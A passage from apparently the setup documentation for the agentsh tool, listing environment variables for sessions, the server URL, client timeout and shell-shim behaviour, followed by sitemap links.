| `AGENTSH_SESSION_ID` | Default session ID |
| `AGENTSH_SESSION_ROOT` | Root for auto-creating sessions |
| `AGENTSH_SERVER` | Server URL (default: http://127.0.0.1:18080) |
| `AGENTSH_CLIENT_TIMEOUT` | HTTP client timeout (default: `30s`). Same as `--client-timeout`. |
| `AGENTSH_SHIM_FORCE` | Set to `1` to force the shell shim to route through `agentsh exec` even when stdin is not a TTY. |
| `AGENTSH_NO_AUTO` | Set to `1` to disable automatic server startup on first `exec`. |

## Sitemap

- [Canonical HTML](https://www.agentsh.org/docs/setup/)
- [Site map](https://www.agentsh.org/sitemap.md)
- [Full documentation](https://www.agentsh.org/llms-full.md)
